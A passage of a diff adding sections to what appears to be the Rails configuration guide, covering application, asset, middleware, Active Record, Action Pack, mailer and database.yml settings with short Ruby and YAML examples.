+* +config.after_initialize+ takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in +config/initializers+. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
+
+<ruby>
+config.after_initialize do
+  ActionView::Base.sanitized_allowed_tags.delete 'div'
+end
+</ruby>
+
+* +config.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of +config.action_controller.asset_host+.
+
+* +config.asset_path+ lets you decorate asset paths. This can be a callable, a string, or be +nil+ which is the default. For example, the normal path for +blog.js+ would be +/javascripts/blog.js+, let that absolute path be +path+. If +config.asset_path+ is a callable, Rails calls it when generating asset paths passing +path+ as argument. If +config.asset_path+ is a string, it is expected to be a +sprintf+ format string with a +%s+ where +path+ will get inserted. In either case, Rails outputs the decorated path. Shorter version of +config.action_controller.asset_path+.
+
+<ruby>
+config.asset_path = proc { |path| "/blog/public#{path}" }
+</ruby>
+
+NOTE. The +config.asset_path+ configuration is ignored if the asset pipeline is enabled, which is the default.
+
+* +config.autoload_once_paths+ accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if +config.cache_classes+ is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in +autoload_paths+. Default is an empty array.
+
+* +config.autoload_paths+ accepts an array of paths from which Rails will autoload constants. Default is all directories under +app+.
+
+* +config.cache_classes+ controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with +threadsafe!+.
+
+* +config.action_view.cache_template_loading+ controls whether or not templates should be reloaded on each request. Defaults to whatever is set for +config.cache_classes+.
+
+* +config.cache_store+ configures which cache store to use for Rails caching. Options include one of the symbols +:memory_store+, +:file_store+, +:mem_cache_store+, +:null_store+, or an object that implements the cache API. Defaults to +:file_store+ if the directory +tmp/cache+ exists, and to +:memory_store+ otherwise.
+
+* +config.colorize_logging+ specifies whether or not to use ANSI color codes when logging information. Defaults to true.
+
+* +config.consider_all_requests_local+ is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the +Rails::Info+ controller will show the application runtime context in +/rails/info/properties+. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement +local_request?+ in controllers to specify which requests should provide debugging information on errors.
+
+* +config.console+ allows you to set class that will be used as console you run +rails console+. It's best to run it in +console+ block:
+
+<ruby>
+console do
+  # this block is called only when running console,
+  # so we can safely require pry here
+  require "pry"
+  config.console = Pry
+end
+</ruby>
+
+* +config.dependency_loading+ is a flag that allows you to disable constant autoloading setting it to false. It only has effect if +config.cache_classes+ is true, which it is by default in production mode. This flag is set to false by +config.threadsafe!+.
+
+* +config.eager_load+ when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+
+* +config.eager_load_namespaces+ registers namespaces that are eager loaded when +config.eager_load+ is true. All namespaces in the list must respond to the +eager_load!+ method.
+
+* +config.eager_load_paths+ accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the +app+ directory of the application.
+
+* +config.encoding+ sets up the application-wide encoding. Defaults to UTF-8.
+
+* +config.exceptions_app+ sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to +ActionDispatch::PublicExceptions.new(Rails.public_path)+.
+
+* +config.file_watcher+ the class used to detect file updates in the filesystem when +config.reload_classes_only_on_change+ is true. Must conform to +ActiveSupport::FileUpdateChecker+ API.
+
+* +config.filter_parameters+ used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
+
+* +config.force_ssl+ forces all requests to be under HTTPS protocol by using +ActionDispatch::SSL+ middleware.
+
+* +config.log_level+ defines the verbosity of the Rails logger. This option defaults to +:debug+ for all modes except production, where it defaults to +:info+.
+
+* +config.log_tags+ accepts a list of methods that respond to +request+ object. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications.
+
+* +config.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to an instance of +ActiveSupport::BufferedLogger+, with auto flushing off in production mode.
+
+* +config.middleware+ allows you to configure the application's middleware. This is covered in depth in the "Configuring Middleware":#configuring-middleware section below.
+
+* +config.queue+ configures a different queue implementation for the application. Defaults to +Rails::Queueing::Queue+. Note that, if the default queue is changed, the default +queue_consumer+ is not going to be initialized, it is up to the new queue implementation to handle starting and shutting down its own consumer(s).
+
+* +config.queue_consumer+ configures a different consumer implementation for the default queue. Defaults to +Rails::Queueing::ThreadedConsumer+.
+
+* +config.reload_classes_only_on_change+ enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If +config.cache_classes+ is true, this option is ignored.
+
+* +config.secret_token+ used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get +config.secret_token+ initialized to a random key in +config/initializers/secret_token.rb+.
+
+* +config.serve_static_assets+ configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
+
+* +config.session_store+ is usually set up in +config/initializers/session_store.rb+ and specifies what class to use to store the session. Possible values are +:cookie_store+ which is the default, +:mem_cache_store+, and +:disabled+. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
+
+<ruby>
+config.session_store :my_custom_store
+</ruby>
+
+This custom store must be defined as +ActionDispatch::Session::MyCustomStore+. In addition to symbols, they can also be objects implementing a certain API, like +ActiveRecord::SessionStore+, in which case no special namespace is required.
+
+* +config.time_zone+ sets the default time zone for the application and enables time zone awareness for Active Record.
+
+* +config.whiny_nils+ enables or disables warnings when a certain set of methods are invoked on +nil+ and it does not respond to them. Defaults to true in development and test environments.
+
+h4. Configuring Assets
+
+Rails 3.1, by default, is set up to use the +sprockets+ gem to manage assets within an application. This gem concatenates and compresses assets in order to make serving them much less painful.
+
+* +config.assets.enabled+ a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in +config/application.rb+.
+
+* +config.assets.compress+ a flag that enables the compression of compiled assets. It is explicitly set to true in +config/production.rb+.
+
+* +config.assets.css_compressor+ defines the CSS compressor to use. It is set by default by +sass-rails+. The unique alternative value at the moment is +:yui+, which uses the +yui-compressor+ gem.
+
+* +config.assets.js_compressor+ defines the JavaScript compressor to use. Possible values are +:closure+, +:uglifier+ and +:yui+ which require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems respectively.
+
+* +config.assets.paths+ contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.
+
+* +config.assets.precompile+ allows you to specify additional assets (other than +application.css+ and +application.js+) which are to be precompiled when +rake assets:precompile+ is run.
+
+* +config.assets.prefix+ defines the prefix where assets are served from. Defaults to +/assets+.
+
+* +config.assets.digest+ enables the use of MD5 fingerprints in asset names. Set to +true+ by default in +production.rb+.
+
+* +config.assets.debug+ disables the concatenation and compression of assets. Set to +true+ by default in +development.rb+.
+
+* +config.assets.manifest+ defines the full path to be used for the asset precompiler's manifest file. Defaults to using +config.assets.prefix+.
+
+* +config.assets.cache_store+ defines the cache store that Sprockets will use. The default is the Rails file store.
+
+* +config.assets.version+ is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled.
+
+* +config.assets.compile+ is a boolean that can be used to turn on live Sprockets compilation in production.
+
+* +config.assets.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby +Logger+ class. Defaults to the same configured at +config.logger+. Setting +config.assets.logger+ to false will turn off served assets logging.
+
+h4. Configuring Generators
+
+Rails 3 allows you to alter what generators are used with the +config.generators+ method. This method takes a block:
+
+<ruby>
+config.generators do |g|
+  g.orm :active_record
+  g.test_framework :test_unit
+end
+</ruby>
+
+The full set of methods that can be used in this block are as follows:
+
+* +assets+ allows to create assets on generating a scaffold. Defaults to +true+.
+* +force_plural+ allows pluralized model names. Defaults to +false+.
+* +helper+ defines whether or not to generate helpers. Defaults to +true+.
+* +integration_tool+ defines which integration tool to use. Defaults to +nil+.
+* +javascripts+ turns on the hook for JavaScript files in generators. Used in Rails for when the +scaffold+ generator is run. Defaults to +true+.
+* +javascript_engine+ configures the engine to be used (for eg. coffee) when generating assets. Defaults to +nil+.
+* +orm+ defines which orm to use. Defaults to +false+ and will use Active Record by default.
+* +performance_tool+ defines which performance tool to use. Defaults to +nil+.
+* +resource_controller+ defines which generator to use for generating a controller when using +rails generate resource+. Defaults to +:controller+.
+* +scaffold_controller+ different from +resource_controller+, defines which generator to use for generating a _scaffolded_ controller when using +rails generate scaffold+. Defaults to +:scaffold_controller+.
+* +stylesheets+ turns on the hook for stylesheets in generators. Used in Rails for when the +scaffold+ generator is run, but this hook can be used in other generates as well. Defaults to +true+.
+* +stylesheet_engine+ configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to +:css+.
+* +test_framework+ defines which test framework to use. Defaults to +false+ and will use Test::Unit by default.
+* +template_engine+ defines which template engine to use, such as ERB or Haml. Defaults to +:erb+.
+
+h4. Configuring Middleware
+
+Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:
+
+* +ActionDispatch::SSL+ forces every request to be under HTTPS protocol. Will be available if +config.force_ssl+ is set to +true+. Options passed to this can be configured by using +config.ssl_options+.
+* +ActionDispatch::Static+ is used to serve static assets. Disabled if +config.serve_static_assets+ is +true+.
+* +Rack::Lock+ wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when +config.cache_classes_+ is +false+.
+* +ActiveSupport::Cache::Strategy::LocalCache+ serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
+* +Rack::Runtime+ sets an +X-Runtime+ header, containing the time (in seconds) taken to execute the request.
+* +Rails::Rack::Logger+ notifies the logs that the request has began. After request is complete, flushes all the logs.
+* +ActionDispatch::ShowExceptions+ rescues any exception returned by the application and renders nice exception pages if the request is local or if +config.consider_all_requests_local+ is set to +true+. If +config.action_dispatch.show_exceptions+ is set to +false+, exceptions will be raised regardless.
+* +ActionDispatch::RequestId+ makes a unique X-Request-Id header available to the response and enables the +ActionDispatch::Request#uuid+ method.
+* +ActionDispatch::RemoteIp+ checks for IP spoofing attacks. Configurable with the +config.action_dispatch.ip_spoofing_check+ and +config.action_dispatch.trusted_proxies+ settings.
+* +Rack::Sendfile+ intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with +config.action_dispatch.x_sendfile_header+.
+* +ActionDispatch::Callbacks+ runs the prepare callbacks before serving the request.
+* +ActiveRecord::ConnectionAdapters::ConnectionManagement+ cleans active connections after each request, unless the +rack.test+ key in the request environment is set to +true+.
+* +ActiveRecord::QueryCache+ caches all SELECT queries generated in a request. If any INSERT or UPDATE takes place then the cache is cleaned.
+* +ActionDispatch::Cookies+ sets cookies for the request.
+* +ActionDispatch::Session::CookieStore+ is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the +config.action_controller.session_store+ to an alternate value. Additionally, options passed to this can be configured by using +config.action_controller.session_options+.
+* +ActionDispatch::Flash+ sets up the +flash+ keys. Only available if +config.action_controller.session_store+ is set to a value.
+* +ActionDispatch::ParamsParser+ parses out parameters from the request into +params+.
+* +Rack::MethodOverride+ allows the method to be overridden if +params[:_method]+ is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
+* +ActionDispatch::Head+ converts HEAD requests to GET requests and serves them as so.
+* +ActionDispatch::BestStandardsSupport+ enables "best standards support" so that IE8 renders some elements correctly.
+
+Besides these usual middleware, you can add your own by using the +config.middleware.use+ method:
+
+<ruby>
+config.middleware.use Magical::Unicorns
+</ruby>
+
+This will put the +Magical::Unicorns+ middleware on the end of the stack. You can use +insert_before+ if you wish to add a middleware before another.
+
+<ruby>
+config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+</ruby>
+
+There's also +insert_after+ which will insert a middleware after another:
+
+<ruby>
+config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+</ruby>
+
+Middlewares can also be completely swapped out and replaced with others:
+
+<ruby>
+config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
+</ruby>
+
+They can also be removed from the stack completely:
+
+<ruby>
+config.middleware.delete ActionDispatch::BestStandardsSupport
+</ruby>
+
+h4. Configuring i18n
+
+* +config.i18n.default_locale+ sets the default locale of an application used for i18n. Defaults to +:en+.
+
+* +config.i18n.load_path+ sets the path Rails uses to look for locale files. Defaults to +config/locales/*.{yml,rb}+.
+
+h4. Configuring Active Record
+
+<tt>config.active_record</tt> includes a variety of configuration options:
+
+* +config.active_record.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an Active Record model class or an Active Record model instance. Set to +nil+ to disable logging.
+
+* +config.active_record.primary_key_prefix_type+ lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named +id+ (and this configuration option doesn't need to be set.) There are two other choices:
+** +:table_name+ would make the primary key for the Customer class +customerid+
+** +:table_name_with_underscore+ would make the primary key for the Customer class +customer_id+
+
+* +config.active_record.table_name_prefix+ lets you set a global string to be prepended to table names. If you set this to +northwest_+, then the Customer class will look for +northwest_customers+ as its table. The default is an empty string.
+
+* +config.active_record.table_name_suffix+ lets you set a global string to be appended to table names. If you set this to +_northwest+, then the Customer class will look for +customers_northwest+ as its table. The default is an empty string.
+
+* +config.active_record.pluralize_table_names+ specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the +customers+ table. If set to false, then the Customer class will use the +customer+ table.
+
+* +config.active_record.default_timezone+ determines whether to use +Time.local+ (if set to +:local+) or +Time.utc+ (if set to +:utc+) when pulling dates and times from the database. The default is +:utc+ for Rails, although Active Record defaults to +:local+ when used outside of Rails.
+
+* +config.active_record.schema_format+ controls the format for dumping the database schema to a file. The options are +:ruby+ (the default) for a database-independent version that depends on migrations, or +:sql+ for a set of (potentially database-dependent) SQL statements.
+
+* +config.active_record.timestamped_migrations+ controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application.
+
+* +config.active_record.lock_optimistically+ controls whether Active Record will use optimistic locking and is true by default.
+
+* +config.active_record.whitelist_attributes+ will create an empty whitelist of attributes available for mass-assignment security for all models in your app.
+
+* +config.active_record.auto_explain_threshold_in_seconds+ configures the threshold for automatic EXPLAINs (+nil+ disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode.
+
+* +config.active_record.mass_assignment_sanitizer+ will determine the strictness of the mass assignment sanitization within Rails. Defaults to +:strict+. In this mode, mass assigning any non-+attr_accessible+ attribute in a +create+ or +update_attributes+ call will raise an exception. Setting this option to +:logger+ will only print to the log file when an attribute is being assigned and will not raise an exception.
+
+The MySQL adapter adds one additional configuration option:
+
+* +ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans+ controls whether Active Record will consider all +tinyint(1)+ columns in a MySQL database to be booleans and is true by default.
+
+The schema dumper adds one additional configuration option:
+
+* +ActiveRecord::SchemaDumper.ignore_tables+ accepts an array of tables that should _not_ be included in any generated schema file. This setting is ignored unless +config.active_record.schema_format == :ruby+.
+
+h4. Configuring Action Controller
+
+<tt>config.action_controller</tt> includes a number of configuration settings:
+
+* +config.action_controller.asset_host+ sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself.
+
+* +config.action_controller.asset_path+ takes a block which configures where assets can be found. Shorter version of +config.action_controller.asset_path+.
+
+* +config.action_controller.page_cache_directory+ should be the document root for the web server and is set using <tt>Base.page_cache_directory = "/document/root"</tt>. For Rails, this directory has already been set to +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>). Changing this setting can be useful to avoid naming conflicts with files in <tt>public/</tt>, but doing so will likely require configuring your web server to look in the new location for cached files.
+
+* +config.action_controller.page_cache_extension+ configures the extension used for cached pages saved to +page_cache_directory+. Defaults to +.html+.
+
+* +config.action_controller.perform_caching+ configures whether the application should perform caching or not. Set to false in development mode, true in production.
+
+* +config.action_controller.default_charset+ specifies the default character set for all renders. The default is "utf-8".
+
+* +config.action_controller.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to +nil+ to disable logging.
+
+* +config.action_controller.request_forgery_protection_token+ sets the token parameter name for RequestForgery. Calling +protect_from_forgery+ sets it to +:authenticity_token+ by default.
+
+* +config.action_controller.allow_forgery_protection+ enables or disables CSRF protection. By default this is false in test mode and true in all other modes.
+
+* +config.action_controller.relative_url_root+ can be used to tell Rails that you are deploying to a subdirectory. The default is +ENV['RAILS_RELATIVE_URL_ROOT']+.
+
+The caching code adds two additional settings:
+
+* +ActionController::Base.page_cache_directory+ sets the directory where Rails will create cached pages for your web server. The default is +Rails.public_path+ (which is usually set to <tt>Rails.root + "/public"</tt>).
+
+* +ActionController::Base.page_cache_extension+ sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is +.html+.
+
+The Active Record session store can also be configured:
+
+* +ActiveRecord::SessionStore::Session.table_name+ sets the name of the table used to store sessions. Defaults to +sessions+.
+
+* +ActiveRecord::SessionStore::Session.primary_key+ sets the name of the ID column used in the sessions table. Defaults to +session_id+.
+
+* +ActiveRecord::SessionStore::Session.data_column_name+ sets the name of the column which stores marshaled session data. Defaults to +data+.
+
+h4. Configuring Action Dispatch
+
+* +config.action_dispatch.session_store+ sets the name of the store for session data. The default is +:cookie_store+; other valid options include +:active_record_store+, +:mem_cache_store+ or the name of your own custom class.
+
+* +config.action_dispatch.default_headers+ is a hash with HTTP headers that are set by default in each response. By default, this is defined as:
+
+<ruby>
+config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '1; mode=block', 'X-Content-Type-Options' => 'nosniff' }
+</ruby>
+
+* +config.action_dispatch.tld_length+ sets the TLD (top-level domain) length for the application. Defaults to +1+.
+
+* +ActionDispatch::Callbacks.before+ takes a block of code to run before the request.
+
+* +ActionDispatch::Callbacks.to_prepare+ takes a block to run after +ActionDispatch::Callbacks.before+, but before the request. Runs for every request in +development+ mode, but only once for +production+ or environments with +cache_classes+ set to +true+.
+
+* +ActionDispatch::Callbacks.after+ takes a block of code to run after the request.
+
+h4. Configuring Action View
+
+<tt>config.action_view</tt> includes a small number of configuration settings:
+
+* +config.action_view.field_error_proc+ provides an HTML generator for displaying errors that come from Active Record. The default is
+
+<ruby>
+Proc.new { |html_tag, instance| %Q(<div class="field_with_errors">#{html_tag}</div>).html_safe }
+</ruby>
+
+* +config.action_view.default_form_builder+ tells Rails which form builder to use by default. The default is +ActionView::Helpers::FormBuilder+. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a +String+
+
+* +config.action_view.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to +nil+ to disable logging.
+
+* +config.action_view.erb_trim_mode+ gives the trim mode to be used by ERB. It defaults to +'-'+. See the "ERB documentation":http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/ for more information.
+
+* +config.action_view.javascript_expansions+ is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
+
+<ruby>
+config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
+</ruby>
+
+However, you may add to this by defining others:
+
+<ruby>
+config.action_view.javascript_expansions[:prototype] = ['prototype', 'effects', 'dragdrop', 'controls']
+</ruby>
+
+And can reference in the view with the following code:
+
+<ruby>
+<%= javascript_include_tag :prototype %>
+</ruby>
+
+* +config.action_view.stylesheet_expansions+ works in much the same way as +javascript_expansions+, but has no default key. Keys defined for this hash can be referenced in the view like such:
+
+<ruby>
+<%= stylesheet_link_tag :special %>
+</ruby>
+
+* +config.action_view.cache_asset_ids+ With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.
+
+* +config.action_view.embed_authenticity_token_in_remote_forms+ allows you to set the default behavior for +authenticity_token+ in forms with +:remote => true+. By default it's set to false, which means that remote forms will not include +authenticity_token+, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the +meta+ tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass +:authenticity_token => true+ as a form option or set this config setting to +true+
+
+* +config.action_view.prefix_partial_path_with_controller_namespace+ determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named +Admin::PostsController+ which renders this template:
+
+<erb>
+<%= render @post %>
+<erb>
+
+The default setting is +true+, which uses the partial at +/admin/posts/_post.erb+. Setting the value to +false+ would render +/posts/_post.erb+, which is the same behavior as rendering from a non-namespaced controller such as +PostsController+.
+
+h4. Configuring Action Mailer
+
+There are a number of settings available on +config.action_mailer+:
+
+* +config.action_mailer.logger+ accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to +nil+ to disable logging.
+
+* +config.action_mailer.smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+** +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
+** +:domain+ - If you need to specify a HELO domain, you can do it here.
+** +:user_name+ - If your mail server requires authentication, set the username in this setting.
+** +:password+ - If your mail server requires authentication, set the password in this setting.
+** +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
+
+* +config.action_mailer.sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
+** +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
+** +:arguments+ - The command line arguments. Defaults to +-i -t+.
+
+* +config.action_mailer.raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
+
+* +config.action_mailer.delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
+
+* +config.action_mailer.perform_deliveries+ specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
+
+* +config.action_mailer.default_options+ configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
+<ruby>
+:mime_version => "1.0",
+:charset      => "UTF-8",
+:content_type => "text/plain",
+:parts_order  => [ "text/plain", "text/enriched", "text/html" ]
+</ruby>
+
+* +config.action_mailer.observers+ registers observers which will be notified when mail is delivered.
+<ruby>
+config.action_mailer.observers = ["MailObserver"]
+</ruby>
+
+* +config.action_mailer.interceptors+ registers interceptors which will be called before mail is sent.
+<ruby>
+config.action_mailer.interceptors = ["MailInterceptor"]
+</ruby>
+
+h4. Configuring Active Support
+
+There are a few configuration options available in Active Support:
+
+* +config.active_support.bare+ enables or disables the loading of +active_support/all+ when booting Rails. Defaults to +nil+, which means +active_support/all+ is loaded.
+
+* +config.active_support.escape_html_entities_in_json+ enables or disables the escaping of HTML entities in JSON serialization. Defaults to +false+.
+
+* +config.active_support.use_standard_json_time_format+ enables or disables serializing dates to ISO 8601 format. Defaults to +true+.
+
+* +ActiveSupport::BufferedLogger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+* +ActiveSupport::Cache::Store.logger+ specifies the logger to use within cache store operations.
+
+* +ActiveSupport::Deprecation.behavior+ alternative setter to +config.active_support.deprecation+ which configures the behavior of deprecation warnings for Rails.
+
+* +ActiveSupport::Deprecation.silence+ takes a block in which all deprecation warnings are silenced.
+
+* +ActiveSupport::Deprecation.silenced+ sets whether or not to display deprecation warnings.
+
+* +ActiveSupport::Logger.silencer+ is set to +false+ to disable the ability to silence logging in a block. The default is +true+.
+
+h4. Configuring a Database
+
+Just about every Rails application will interact with a database. The database to use is specified in a configuration file called +config/database.yml+.  If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+
+* The +development+ environment is used on your development/local computer as you interact manually with the application.
+* The +test+ environment is used when running automated tests.
+* The +production+ environment is used when you deploy your application for the world to use.
+
+TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named <tt>--database</tt>. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting of the +config/database.yml+ file, your application will be configured for MySQL instead of SQLite.  Detailed examples of the common database connections are below.
+
+h5. Configuring an SQLite3 Database
+
+Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
+
+Here's the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment:
+
+<yaml>
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+</yaml>
+
+NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
+
+h5. Configuring a MySQL Database
+
+If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section:
+
+<yaml>
+development:
+  adapter: mysql2
+  encoding: utf8
+  database: blog_development
+  pool: 5
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+</yaml>
+
+If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate.
+
+h5. Configuring a PostgreSQL Database
+
+If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases:
+
+<yaml>
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  pool: 5
+  username: blog
+  password:
+</yaml>
+
+Prepared Statements can be disabled thus:
+
+<yaml>
+production:
+  adapter: postgresql
+  prepared_statements: false
+</yaml>
+
+h5. Configuring an SQLite3 Database for JRuby Platform
+
+If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
+
+<yaml>
+development:
+  adapter: jdbcsqlite3
+  database: db/development.sqlite3
+</yaml>
+
+h5. Configuring a MySQL Database for JRuby Platform
+
+If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
+
+<yaml>
+development:
+  adapter: jdbcmysql
+  database: blog_development
+  username: root
+  password:
+</yaml>
+
+h5. Configuring a PostgreSQL Database for JRuby Platform
+
+If you choose to use PostgreSQL and are using JRuby, your +config/database.yml+ will look a little different. Here's the development section:
+
+<yaml>
+development:
+  adapter: jdbcpostgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+</yaml>
+
+Change the username and password in the +development+ section as appropriate.
+
+h3. Rails Environment Settings
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* +ENV["RAILS_ENV"]+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* +ENV["RAILS_RELATIVE_URL_ROOT"]+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
+* +ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
+
+* +ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+
+h3. Using Initializer Files
+
+After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under +config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
+
+h3. Initialization events
+
+Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
+
+* +before_configuration+: This is run as soon as the application constant inherits from +Rails::Application+. The +config+ calls are evaluated before this happens.
+
+* +before_initialize+: This is run directly before the initialization process of the application occurs with the +:bootstrap_hook+ initializer near the beginning of the Rails initialization process.
+
+* +to_prepare+: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in +development+, but only once (during boot-up) in +production+ and +test+.
+
+* +before_eager_load+: This is run directly before eager loading occurs, which is the default behaviour for the +production+ environment and not for the +development+ environment.
+
+* +after_initialize+: Run directly after the initialization of the application, but before the application initializers are run.
+
+To define an event for these hooks, use the block syntax within a +Rails::Application+, +Rails::Railtie+ or +Rails::Engine+ subclass:
+
+<ruby>
+module YourApp
+  class Application < Rails::Application
+    config.before_initialize do
+      # initialization code goes here
+    end
+  end
+end
+</ruby>
+
+Alternatively, you can also do it through the +config+ method on the +Rails.application+ object:
+
+<ruby>
+Rails.application.config.before_initialize do
+  # initialization code goes here
+end
+</ruby>
+
+WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
+
+h4. +Rails::Railtie#initializer+
+
+Rails has several initializers that run on startup that are all defined by using the +initializer+ method from +Rails::Railtie+. Here's an example of the +initialize_whiny_nils+ initializer from Active Support:
+
+<ruby>
+initializer "active_support.initialize_whiny_nils" do |app|
+  require 'active_support/whiny_nil' if app.config.whiny_nils
+end
+</ruby>
+
+The +initializer+ method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The +:before+ key in the options hash can be specified to specify which initializer this new initializer must run before, and the +:after+ key will specify which initializer to run this initializer _after_.
+
+Initializers defined using the +initializer+ method will be ran in the order they are defined in, with the exception of ones that use the +:before+ or +:after+ methods.
+
